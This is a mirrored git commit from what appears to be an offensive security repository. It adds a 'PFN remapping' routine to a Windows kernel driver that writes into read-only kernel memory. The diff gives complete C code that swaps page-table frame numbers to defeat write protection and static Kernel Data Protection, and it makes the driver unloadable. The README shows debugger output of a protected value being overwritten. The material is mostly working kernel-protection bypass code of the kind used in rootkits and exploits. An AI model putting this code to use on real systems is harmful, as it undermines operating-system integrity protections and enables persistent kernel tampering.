mirror of
https://github.com/winterknife/EVENSTAR
synced 2026-06-21 14:13:51 +00:00
updated KernelWriteProtect project to include PFN remapping technique
This commit is contained in:
@@ -7,7 +7,7 @@
|
||||
//
|
||||
// Modifications:
|
||||
// 2026-05-12 Created
|
||||
// 2026-05-15 Updated
|
||||
// 2026-06-03 Updated
|
||||
// ========================================================================
|
||||
|
||||
// ========================================================================
|
||||
@@ -87,7 +87,7 @@ EXTERN_C DECLSPEC_NOINLINE VOID __stdcall copy_memory_cr0_wp(
|
||||
_In_ DWORD_PTR dwptrLength
|
||||
);
|
||||
|
||||
/// @brief Copies the contents of a source memory block to a destination memory block with write protect bypass using double mapping
|
||||
/// @brief Copies the contents of a source memory block to a destination memory block with write protect bypass using MDL double mapping
|
||||
/// @param pDestination Pointer to the destination memory block to copy the bytes to
|
||||
/// @param pcSource Pointer to the source memory block to copy the bytes from
|
||||
/// @param dwptrLength Number of bytes to copy from the source to the destination
|
||||
@@ -109,4 +109,15 @@ EXTERN_C DECLSPEC_NOINLINE VOID __stdcall copy_memory_pte(
|
||||
_In_ DWORD_PTR dwptrLength
|
||||
);
|
||||
|
||||
/// @brief Copies the contents of a source memory block to a destination memory block with write protect bypass using PFN remapping
|
||||
/// @param pDestination Pointer to the destination memory block to copy the bytes to
|
||||
/// @param pcSource Pointer to the source memory block to copy the bytes from
|
||||
/// @param dwptrLength Number of bytes to copy from the source to the destination
|
||||
_IRQL_requires_max_(APC_LEVEL)
|
||||
EXTERN_C DECLSPEC_NOINLINE VOID __stdcall copy_memory_page_remapping(
|
||||
_Out_writes_bytes_all_(dwptrLength) VOID* pDestination,
|
||||
_In_reads_bytes_(dwptrLength) CONST VOID* pcSource,
|
||||
_In_ DWORD_PTR dwptrLength
|
||||
);
|
||||
|
||||
#pragma endregion
|
||||
@@ -57,7 +57,7 @@
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalOptions>/EMITPOGOPHASEINFO /NOVCFEATURE /NOCOFFGRPINFO /FILEALIGN:0x200 /PDBALTPATH:$(ProjectName).pdb /Brepro /RELEASE /EMITTOOLVERSIONINFO:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalOptions>/EMITPOGOPHASEINFO /NOVCFEATURE /NOCOFFGRPINFO /FILEALIGN:0x200 /PDBALTPATH:$(ProjectName).pdb /Brepro /RELEASE /EMITTOOLVERSIONINFO:NO /DRIVER:WDM %(AdditionalOptions)</AdditionalOptions>
|
||||
<EntryPointSymbol />
|
||||
<AdditionalDependencies>Ntoskrnl.lib</AdditionalDependencies>
|
||||
<GenerateDebugInformation>DebugFull</GenerateDebugInformation>
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
## Version
|
||||
|
||||
- `v2.0.0`
|
||||
- `v3.0.0`
|
||||
|
||||
## Brief
|
||||
|
||||
@@ -12,55 +12,63 @@
|
||||
- `CPL: 0`
|
||||
- `OS: Windows`
|
||||
- `Language: C`
|
||||
- Sample code that demonstrates three techniques for writing into read-only pages in kernel space using `CR0.WP` manipulation, `MDL` double mapping, and `PTE` manipulation
|
||||
- Sample code that demonstrates four techniques for writing into read-only pages in kernel space using `CR0.WP` manipulation, `MDL` double mapping, `PTE` manipulation, and `PFN` remapping.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
0: kd> vertarget
|
||||
1: kd> vertarget
|
||||
Windows 10 Kernel Version 26100 MP (2 procs) Free x64
|
||||
Product: WinNt, suite: TerminalServer SingleUserTS
|
||||
Edition build lab: 26100.1.amd64fre.ge_release.240331-1435
|
||||
Kernel base = 0xfffff801`ece00000 PsLoadedModuleList = 0xfffff801`edcf5150
|
||||
Debug session time: Mon May 18 11:32:44.468 2026 (UTC - 4:00)
|
||||
System Uptime: 0 days 1:46:43.304
|
||||
Kernel base = 0xfffff801`cb400000 PsLoadedModuleList = 0xfffff801`cc2f52d0
|
||||
Debug session time: Fri Jun 5 15:50:12.936 2026 (UTC - 4:00)
|
||||
System Uptime: 0 days 0:01:50.980
|
||||
|
||||
0: kd> g
|
||||
1: kd> g
|
||||
KDFILES: Replacing '\??\C:\pub\KernelWriteProtect.sys' with 'C:\Users\winterknife\Desktop\CNO-Programs\EVENSTAR\KernelWriteProtect\Bin\x64\KernelWriteProtect.sys'. File size 7KB.
|
||||
KdPullRemoteFile(FFFFAD0304FC5040): About to overwrite \??\C:\pub\KernelWriteProtect.sys and preallocate to 1a60
|
||||
KdPullRemoteFile(FFFFAD0304FC5040): Return from ZwCreateFile with status 0
|
||||
..
|
||||
[DBG]: +++ KernelWriteProtect.sys Loaded +++
|
||||
[DBG]: KernelWriteProtect.sys Built May 18 2026 11:31:17
|
||||
[DBG]: KernelWriteProtect: DriverObject = FFFFBD0FF0496E20
|
||||
[DBG]: KernelWriteProtect.sys Built Jun 5 2026 15:23:55
|
||||
[DBG]: KernelWriteProtect: DriverObject = FFFFAD0305316E10
|
||||
[DBG]: KernelWriteProtect: RegistryPath = \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\KernelWriteProtect
|
||||
[DBG]: --- KernelWriteProtect.sys Unloaded ---
|
||||
[DBG]: KernelWriteProtect: g_dwProtectedValue KVA = 0xFFFFF801625A4000
|
||||
[DBG]: KernelWriteProtect: g_dwProtectedValue original contents = 0xDEADBEEF
|
||||
[DBG]: KernelWriteProtect: g_dwProtectedValue protected by static KDP.
|
||||
Break instruction exception - code 80000003 (first chance)
|
||||
*******************************************************************************
|
||||
* *
|
||||
* You are seeing this message because you pressed either *
|
||||
* CTRL+C (if you run console kernel debugger) or, *
|
||||
* CTRL+BREAK (if you run GUI kernel debugger), *
|
||||
* on your debugger machine's keyboard. *
|
||||
* *
|
||||
* THIS IS NOT A BUG OR A SYSTEM CRASH *
|
||||
* *
|
||||
* If you did not intend to break into the debugger, press the "g" key, then *
|
||||
* press the "Enter" key now. This message might immediately reappear. If it *
|
||||
* does, press "g" and "Enter" again. *
|
||||
* *
|
||||
*******************************************************************************
|
||||
nt!DbgBreakPointWithStatus:
|
||||
fffff801`ed2fb1b0 cc int 3
|
||||
KernelWriteProtect_fffff801625a0000!DriverEntry+0xe0:
|
||||
fffff801`625a50e0 cc int 3
|
||||
|
||||
0: kd> !pte 0xFFFFF78000000738
|
||||
VA fffff78000000738
|
||||
PXE at FFFFF2793C9E4F78 PPE at FFFFF2793C9EF000 PDE at FFFFF2793DE00000 PTE at FFFFF27BC0000000
|
||||
contains 0000000000286063 contains 0000000000285063 contains 0000000000284063 contains 8A00000000283121
|
||||
pfn 286 ---DA--KWEV pfn 285 ---DA--KWEV pfn 284 ---DA--KWEV pfn 283 -G--A--KR-V
|
||||
1: kd> !pte g_dwProtectedValue
|
||||
VA fffff801625a4000
|
||||
PXE at FFFFE673399CCF80 PPE at FFFFE673399F0028 PDE at FFFFE6733E005890 PTE at FFFFE67C00B12D20
|
||||
contains 00000000001D0063 contains 00000000001CF063 contains 0A0000011169D863 contains 89000001C0FDF121
|
||||
pfn 1d0 ---DA--KWEV pfn 1cf ---DA--KWEV pfn 11169d ---DA--KWEV pfn 1c0fdf -G--A--KR-V
|
||||
|
||||
0: kd> db 0xFFFFF78000000738 LC
|
||||
fffff780`00000738 41 41 41 41 41 41 41 41-41 41 41 41 AAAAAAAAAAAA
|
||||
1: kd> dd g_dwProtectedValue L1
|
||||
fffff801`625a4000 deadbeef
|
||||
|
||||
1: kd> g
|
||||
[DBG]: KernelWriteProtect: g_dwProtectedValue modified contents = 0x41414141
|
||||
Break instruction exception - code 80000003 (first chance)
|
||||
KernelWriteProtect_fffff801625a0000!DriverEntry+0x10a:
|
||||
fffff801`625a510a cc int 3
|
||||
|
||||
1: kd> !pte g_dwProtectedValue
|
||||
VA fffff801625a4000
|
||||
PXE at FFFFE673399CCF80 PPE at FFFFE673399F0028 PDE at FFFFE6733E005890 PTE at FFFFE67C00B12D20
|
||||
contains 00000000001D0063 contains 00000000001CF063 contains 0A0000011169D863 contains 89000001BADC3121
|
||||
pfn 1d0 ---DA--KWEV pfn 1cf ---DA--KWEV pfn 11169d ---DA--KWEV pfn 1badc3 -G--A--KR-V
|
||||
|
||||
1: kd> dd g_dwProtectedValue L1
|
||||
fffff801`625a4000 41414141
|
||||
```
|
||||
|
||||
## Tested OS Versions
|
||||
|
||||
- `Windows 11 25H2 Build 26200 Revision 8246 64-bit`
|
||||
- `Windows 11 25H2 Build 26200 Revision 8457 64-bit`
|
||||
|
||||
## References
|
||||
|
||||
@@ -69,4 +77,11 @@ fffff780`00000738 41 41 41 41 41 41 41 41-41 41 41 41 AAAAAAAAAAAA
|
||||
3. [EfiGuard](https://github.com/Mattiwatti/EfiGuard)
|
||||
4. [kernelhook](https://github.com/adrianyy/kernelhook)
|
||||
5. [Exploit Development: Leveraging Page Table Entries for Windows Kernel Exploitation](https://connormcgarr.github.io/pte-overwrites/)
|
||||
6. [g_CiOptions in a Virtualized World](https://trustedsec.com/blog/g_cioptions-in-a-virtualized-world)
|
||||
6. [g_CiOptions in a Virtualized World](https://trustedsec.com/blog/g_cioptions-in-a-virtualized-world)
|
||||
7. [Melting Down PatchGuard: Leveraging KPTI to Bypass Kernel Patch Protection](https://www.fortinet.com/blog/threat-research/melting-down-patchguard-leveraging-kpi-to-bypass-kernel-patch-protection)
|
||||
8. [The Swan Song for Driver Signature Enforcement Tampering](https://www.fortinet.com/blog/threat-research/driver-signature-enforcement-tampering)
|
||||
9. [Code Execution against Windows HVCI](https://datafarm-cybersecurity.medium.com/code-execution-against-windows-hvci-f617570e9df0)
|
||||
10. [Intel VT-rp - Part 1. remapping attack and HLAT](https://tandasat.github.io/blog/2023/07/05/intel-vt-rp-part-1.html)
|
||||
11. [Intel VT-rp - Part 2. paging-write and guest-paging verification](https://tandasat.github.io/blog/2023/07/31/intel-vt-rp-part-2.html)
|
||||
12. [HEXACON2023 - Bypassing the HVCI memory protection by Viviane Zwanger and Henning Braun](https://www.youtube.com/watch?v=WWvd2_jd0ZI)
|
||||
13. [BusterCall](https://github.com/zer0condition/BusterCall)
|
||||
@@ -7,7 +7,7 @@
|
||||
//
|
||||
// Modifications:
|
||||
// 2026-04-13 Created
|
||||
// 2026-05-16 Updated
|
||||
// 2026-06-05 Updated
|
||||
// ========================================================================
|
||||
|
||||
// ========================================================================
|
||||
@@ -17,24 +17,24 @@
|
||||
#include "../Inc/Common.h"
|
||||
#include "../Inc/WriteProtectBypass.h"
|
||||
|
||||
// ========================================================================
|
||||
// Globals
|
||||
// ========================================================================
|
||||
|
||||
#pragma region GLOBALS
|
||||
|
||||
// RO global variable
|
||||
#pragma section(".rodata", read)
|
||||
__declspec(allocate(".rodata")) DWORD g_dwProtectedValue = 0xDEADBEEF;
|
||||
|
||||
#pragma endregion
|
||||
|
||||
// ========================================================================
|
||||
// Routines
|
||||
// ========================================================================
|
||||
|
||||
#pragma region ROUTINES
|
||||
|
||||
/// @brief DRIVER_UNLOAD callback routine that gets called to uninitialize the driver when it is unloaded
|
||||
/// @param pDriverObject Pointer to DRIVER_OBJECT structure representing the driver's driver object
|
||||
_IRQL_requires_(PASSIVE_LEVEL)
|
||||
EXTERN_C __declspec(code_seg("PAGE")) VOID __stdcall driver_unload(
|
||||
_In_ PDRIVER_OBJECT pDriverObject
|
||||
) {
|
||||
// Suppress W4 warning - C4100
|
||||
UNREFERENCED_PARAMETER(pDriverObject);
|
||||
|
||||
DEBUG_PRINT("--- %s.sys Unloaded ---\n", __MODULE__);
|
||||
}
|
||||
|
||||
/// @brief DRIVER_INITIALIZE callback routine that gets called to initialize the driver when it is loaded
|
||||
/// @param pDriverObject Pointer to DRIVER_OBJECT structure representing the driver's driver object
|
||||
/// @param puncRegistryPath Pointer to UNICODE_STRING structure specifying the path to the driver's registry key
|
||||
@@ -49,15 +49,36 @@ EXTERN_C __declspec(code_seg("INIT")) NTSTATUS __stdcall DriverEntry(
|
||||
DEBUG_PRINT("%s: DriverObject = %p\n", __MODULE__, pDriverObject);
|
||||
DEBUG_PRINT("%s: RegistryPath = %wZ\n", __MODULE__, puncRegistryPath);
|
||||
|
||||
// Set routine to be called on driver unload
|
||||
pDriverObject->DriverUnload = static_cast<PDRIVER_UNLOAD>(driver_unload);
|
||||
// This driver cannot be unloaded
|
||||
// /DRIVER:WDM linker switch + no DRIVER_UNLOAD routine + no MM_PROTECT_DRIVER_SECTION_ALLOW_UNLOAD flag
|
||||
|
||||
// Write data into RO _KUSER_SHARED_DATA structure
|
||||
DEBUG_PRINT("%s: g_dwProtectedValue KVA = 0x%p\n", __MODULE__, &g_dwProtectedValue);
|
||||
DEBUG_PRINT("%s: g_dwProtectedValue original contents = 0x%I32X\n", __MODULE__, ReadULongNoFence(&g_dwProtectedValue));
|
||||
|
||||
// Mark the guest physical page containing g_dwProtectedValue as RO in the SLAT entry
|
||||
NTSTATUS status = MmProtectDriverSection(&g_dwProtectedValue, 0, 0);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
DEBUG_PRINT("%s: MmProtectDriverSection error = 0x%08X\n", __MODULE__, status);
|
||||
return status;
|
||||
}
|
||||
DEBUG_PRINT("%s: g_dwProtectedValue protected by static KDP.\n", __MODULE__);
|
||||
__debugbreak();
|
||||
|
||||
// Corrupt RO data page
|
||||
BYTE byarrPayload[] = { 0x41, 0x41, 0x41, 0x41 };
|
||||
QWORD qwKuserSharedData = 0xFFFFF78000000000ULL;
|
||||
copy_memory_cr0_wp(reinterpret_cast<PVOID>(qwKuserSharedData + 0x738ULL), byarrPayload, sizeof(byarrPayload));
|
||||
copy_memory_double_mapping(reinterpret_cast<PVOID>(qwKuserSharedData + 0x73CULL), byarrPayload, sizeof(byarrPayload));
|
||||
copy_memory_pte(reinterpret_cast<PVOID>(qwKuserSharedData + 0x740ULL), byarrPayload, sizeof(byarrPayload));
|
||||
|
||||
//copy_memory_cr0_wp(&g_dwProtectedValue, byarrPayload, sizeof(byarrPayload));
|
||||
//DEBUG_PRINT("%s: g_dwProtectedValue modified contents = 0x%I32X\n", __MODULE__, ReadULongNoFence(&g_dwProtectedValue));
|
||||
|
||||
//copy_memory_double_mapping(&g_dwProtectedValue, byarrPayload, sizeof(byarrPayload));
|
||||
//DEBUG_PRINT("%s: g_dwProtectedValue modified contents = 0x%I32X\n", __MODULE__, ReadULongNoFence(&g_dwProtectedValue));
|
||||
|
||||
//copy_memory_pte(&g_dwProtectedValue, byarrPayload, sizeof(byarrPayload));
|
||||
//DEBUG_PRINT("%s: g_dwProtectedValue modified contents = 0x%I32X\n", __MODULE__, ReadULongNoFence(&g_dwProtectedValue));
|
||||
|
||||
copy_memory_page_remapping(&g_dwProtectedValue, byarrPayload, sizeof(byarrPayload));
|
||||
DEBUG_PRINT("%s: g_dwProtectedValue modified contents = 0x%I32X\n", __MODULE__, ReadULongNoFence(&g_dwProtectedValue));
|
||||
__debugbreak();
|
||||
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -5,11 +5,11 @@
|
||||
//
|
||||
// Description: Source file that contains the necessary routines to bypass
|
||||
// the Write Protect (WP) mitigation to allow supervisor-level procedures
|
||||
// to write into read-only pages
|
||||
// to write into read-only pages in kernel space
|
||||
//
|
||||
// Modifications:
|
||||
// 2026-05-12 Created
|
||||
// 2026-05-23 Updated
|
||||
// 2026-06-06 Updated
|
||||
// ========================================================================
|
||||
|
||||
// ========================================================================
|
||||
@@ -318,4 +318,206 @@ cleanup:
|
||||
KeLowerIrql(kirqlOld);
|
||||
}
|
||||
|
||||
_Use_decl_annotations_
|
||||
VOID __stdcall copy_memory_page_remapping(
|
||||
VOID* pDestination,
|
||||
CONST VOID* pcSource,
|
||||
DWORD_PTR dwptrLength
|
||||
) {
|
||||
// Init local variables
|
||||
PVOID pNtoskrnl = nullptr;
|
||||
PVOID pMmGetVirtualForPhysical = nullptr;
|
||||
DWORD dwOffsetImm64 = 0;
|
||||
QWORD qwMmPteBase = 0;
|
||||
PMMPTE_HARDWARE pMmpteHardwarePte = nullptr;
|
||||
PMMPTE_HARDWARE pMmpteHardwarePde = nullptr;
|
||||
PMMPTE_HARDWARE pMmpteHardwarePpe = nullptr;
|
||||
PMMPTE_HARDWARE pMmpteHardwarePxe = nullptr;
|
||||
PVOID pReserved = nullptr;
|
||||
PHYSICAL_ADDRESS physicalAddressLow; __stosb(reinterpret_cast<PUCHAR>(&physicalAddressLow), 0, sizeof(PHYSICAL_ADDRESS));
|
||||
PHYSICAL_ADDRESS physicalAddressHigh; __stosb(reinterpret_cast<PUCHAR>(&physicalAddressHigh), 0, sizeof(PHYSICAL_ADDRESS));
|
||||
PHYSICAL_ADDRESS physicalAddressSkipBytes; __stosb(reinterpret_cast<PUCHAR>(&physicalAddressSkipBytes), 0, sizeof(PHYSICAL_ADDRESS));
|
||||
PMDL pMdl = nullptr;
|
||||
PVOID pPage = nullptr;
|
||||
NTSTATUS status = STATUS_SUCCESS;
|
||||
KIRQL kirqlOld = 0;
|
||||
BOOLEAN bIrqlRaised = false;
|
||||
MMPTE_HARDWARE mmpteHardwareNew; __stosb(reinterpret_cast<PUCHAR>(&mmpteHardwareNew), 0, sizeof(MMPTE_HARDWARE));
|
||||
MMPTE_HARDWARE mmpteHardwareOld; __stosb(reinterpret_cast<PUCHAR>(&mmpteHardwareOld), 0, sizeof(MMPTE_HARDWARE));
|
||||
BOOLEAN bPfnSwapped = false;
|
||||
|
||||
// Check if the write will span a page boundary
|
||||
if (ADDRESS_AND_SIZE_TO_SPAN_PAGES(pDestination, dwptrLength) > 1) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Get the nt image base address
|
||||
RtlPcToFileHeader(reinterpret_cast<PVOID>(RtlFindExportedRoutineByName), &pNtoskrnl);
|
||||
if (pNtoskrnl == nullptr) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Get the KVA of nt!MmGetVirtualForPhysical
|
||||
pMmGetVirtualForPhysical = RtlFindExportedRoutineByName(pNtoskrnl, "MmGetVirtualForPhysical");
|
||||
if (pMmGetVirtualForPhysical == nullptr) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
/*
|
||||
0: kd> uf nt!MmGetVirtualForPhysical
|
||||
nt!MmGetVirtualForPhysical:
|
||||
fffff803`8ec6e980 488bc1 mov rax,rcx
|
||||
fffff803`8ec6e983 48c1e80c shr rax,0Ch
|
||||
fffff803`8ec6e987 488d1440 lea rdx,[rax+rax*2]
|
||||
fffff803`8ec6e98b 4803d2 add rdx,rdx
|
||||
fffff803`8ec6e98e 48b80800000080b1ffff mov rax,0FFFFB18000000008h
|
||||
fffff803`8ec6e998 488b04d0 mov rax,qword ptr [rax+rdx*8]
|
||||
fffff803`8ec6e99c 48c1e019 shl rax,19h
|
||||
fffff803`8ec6e9a0 48ba0000000080aeffff mov rdx,0FFFFAE8000000000h
|
||||
fffff803`8ec6e9aa 48c1e219 shl rdx,19h
|
||||
fffff803`8ec6e9ae 81e1ff0f0000 and ecx,0FFFh
|
||||
fffff803`8ec6e9b4 482bc2 sub rax,rdx
|
||||
fffff803`8ec6e9b7 48c1f810 sar rax,10h
|
||||
fffff803`8ec6e9bb 4803c1 add rax,rcx
|
||||
fffff803`8ec6e9be c3 ret
|
||||
*/
|
||||
// This is not the correct way to find nt!MmPteBase, use nt!KdDebuggerDataBlock
|
||||
dwOffsetImm64 = 0x22UL;
|
||||
|
||||
// Get the KVA of nt!MmPteBase
|
||||
// Starting from 64-bit Windows 10 1607 Anniversary Update (RS1) Build 14393, the PML4 table auto-entry index is randomized at boot time as part of KASLR (earlier, index fixed at 0x1ED)
|
||||
qwMmPteBase = *reinterpret_cast<PQWORD>(static_cast<PUCHAR>(pMmGetVirtualForPhysical) + dwOffsetImm64);
|
||||
|
||||
// Compute the KVA of the PTE for the write address
|
||||
// BMI1 is only available since Haswell Intel microarchitecture (2013)
|
||||
/*
|
||||
0: kd> uf nt!MiGetPteAddress
|
||||
nt!MiGetPteAddress:
|
||||
fffff803`8ea376c0 48c1e909 shr rcx,9
|
||||
fffff803`8ea376c4 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
|
||||
fffff803`8ea376ce 4823c8 and rcx,rax
|
||||
fffff803`8ea376d1 48b80000000080aeffff mov rax,0FFFFAE8000000000h
|
||||
fffff803`8ea376db 4803c1 add rax,rcx
|
||||
fffff803`8ea376de c3 ret
|
||||
*/
|
||||
pMmpteHardwarePte = reinterpret_cast<PMMPTE_HARDWARE>(_andn_u64(0x7ULL, qwMmPteBase + __ull_rshift(__ll_lshift(reinterpret_cast<QWORD>(pDestination), 0x10), 0x19)));
|
||||
|
||||
// Compute the KVA of the PDE for the write address
|
||||
/*
|
||||
0: kd> uf nt!MiGetPdeAddress
|
||||
nt!MiGetPdeAddress:
|
||||
fffff803`8ea12470 48c1e912 shr rcx,12h
|
||||
fffff803`8ea12474 81e1f8ffff3f and ecx,3FFFFFF8h
|
||||
fffff803`8ea1247a 48b800000040d7aeffff mov rax,0FFFFAED740000000h
|
||||
fffff803`8ea12484 4803c1 add rax,rcx
|
||||
fffff803`8ea12487 c3 ret
|
||||
*/
|
||||
pMmpteHardwarePde = reinterpret_cast<PMMPTE_HARDWARE>(_andn_u64(0x7ULL, qwMmPteBase + __ull_rshift(__ll_lshift(reinterpret_cast<QWORD>(pMmpteHardwarePte), 0x10), 0x19)));
|
||||
|
||||
// Compute the KVA of the PDPTE for the write address
|
||||
pMmpteHardwarePpe = reinterpret_cast<PMMPTE_HARDWARE>(_andn_u64(0x7ULL, qwMmPteBase + __ull_rshift(__ll_lshift(reinterpret_cast<QWORD>(pMmpteHardwarePde), 0x10), 0x19)));
|
||||
|
||||
// Compute the KVA of the PML4E for the write address
|
||||
pMmpteHardwarePxe = reinterpret_cast<PMMPTE_HARDWARE>(_andn_u64(0x7ULL, qwMmPteBase + __ull_rshift(__ll_lshift(reinterpret_cast<QWORD>(pMmpteHardwarePpe), 0x10), 0x19)));
|
||||
|
||||
// Reserve a memory buffer in KVAS using system PTEs
|
||||
pReserved = MmAllocateMappingAddressEx(PAGE_SIZE, __POOLTAG__, 0);
|
||||
if (pReserved == nullptr) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Allocate nonpaged physical memory pages to build an MDL
|
||||
// NOTE: When HVCI is enabled, dynamic allocation of executable memory is no longer possible
|
||||
physicalAddressHigh.QuadPart = MAXULONG64;
|
||||
pMdl = MmAllocatePagesForMdlEx(physicalAddressLow, physicalAddressHigh, physicalAddressSkipBytes, PAGE_SIZE, MmCached, MM_ALLOCATE_FULLY_REQUIRED);
|
||||
if (pMdl == nullptr) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Map the MDL in the reserved memory buffer
|
||||
pPage = MmMapLockedPagesWithReservedMapping(pReserved, __POOLTAG__, pMdl, MmCached);
|
||||
if (pPage == nullptr) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Set the protection type for the mapping to RW
|
||||
status = MmProtectMdlSystemAddress(pMdl, PAGE_READWRITE);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Clone the original RO page into the newly allocated 4 KB RW page
|
||||
__movsb(static_cast<PUCHAR>(pPage), static_cast<UCHAR const*>(PAGE_ALIGN(pDestination)), PAGE_SIZE);
|
||||
|
||||
// Write into RW page
|
||||
__movsb(static_cast<PUCHAR>(pPage) + BYTE_OFFSET(pDestination), static_cast<UCHAR const*>(pcSource), dwptrLength);
|
||||
|
||||
// Raise the Interrupt Request Level (IRQL) of the current processor to DISPATCH_LEVEL
|
||||
// This will prevent the thread scheduler from preempting the current thread
|
||||
kirqlOld = KeRaiseIrqlToDpcLevel();
|
||||
bIrqlRaised = true;
|
||||
|
||||
// Check if the PML4E is valid
|
||||
if (!pMmpteHardwarePxe->Valid) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Check if the PDPTE is valid
|
||||
if (!pMmpteHardwarePpe->Valid) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Check if the PDE is valid
|
||||
// We do not support large pages at the moment
|
||||
if (!pMmpteHardwarePde->Valid || pMmpteHardwarePde->LargePage) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Check if the PTE is valid
|
||||
if (!pMmpteHardwarePte->Valid) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Swap the PFN in the PTE that maps the original RO page with the PFN in the PTE that maps the modified RW page
|
||||
// WARNING: If the code / data page is protected by HLAT then the paging structure will be managed by the hypervisor
|
||||
// WARNING: HyperGuard / Secure Kernel Patch Guard (SKPG) runs checks at random intervals and will bugcheck unless the original PFN is restored
|
||||
mmpteHardwareOld = *pMmpteHardwarePte;
|
||||
mmpteHardwareNew = mmpteHardwareOld;
|
||||
mmpteHardwareNew.PageFrameNumber = MmGetMdlPfnArray(pMdl)[0];
|
||||
if (_InterlockedCompareExchange64(reinterpret_cast<LONG64 volatile*>(pMmpteHardwarePte), *reinterpret_cast<LONG64*>(&mmpteHardwareNew), *reinterpret_cast<LONG64*>(&mmpteHardwareOld)) != *reinterpret_cast<LONG64*>(&mmpteHardwareOld)) {
|
||||
goto cleanup;
|
||||
}
|
||||
bPfnSwapped = true;
|
||||
|
||||
// Invalidate any Translation Lookaside Buffer (TLB) entries for the target page
|
||||
// Remember to flush the TLB on all logical processors by sending an IPI
|
||||
__invlpg(pDestination); // INVLPG - Invalidate TLB Entries
|
||||
|
||||
// Cleanup
|
||||
cleanup:
|
||||
// Restore the original IRQL of the current processor
|
||||
if (bIrqlRaised)
|
||||
KeLowerIrql(kirqlOld);
|
||||
|
||||
// Check if the PFN swapping wasn't successful
|
||||
// Note that there is a memory leak on the success path
|
||||
if (!bPfnSwapped) {
|
||||
// Release the mapping
|
||||
if (pPage)
|
||||
MmUnmapReservedMapping(pPage, __POOLTAG__, pMdl);
|
||||
|
||||
// Free the physical page described by the MDL
|
||||
if (pMdl)
|
||||
MmFreePagesFromMdl(pMdl);
|
||||
|
||||
// Release the MDL
|
||||
if (pMdl)
|
||||
ExFreePool(pMdl);
|
||||
|
||||
// Free the reserved memory buffer
|
||||
if (pReserved)
|
||||
MmFreeMappingAddress(pReserved, __POOLTAG__);
|
||||
}
|
||||
}
|
||||
|
||||
#pragma endregion
|
||||
Reference in New Issue
Block a user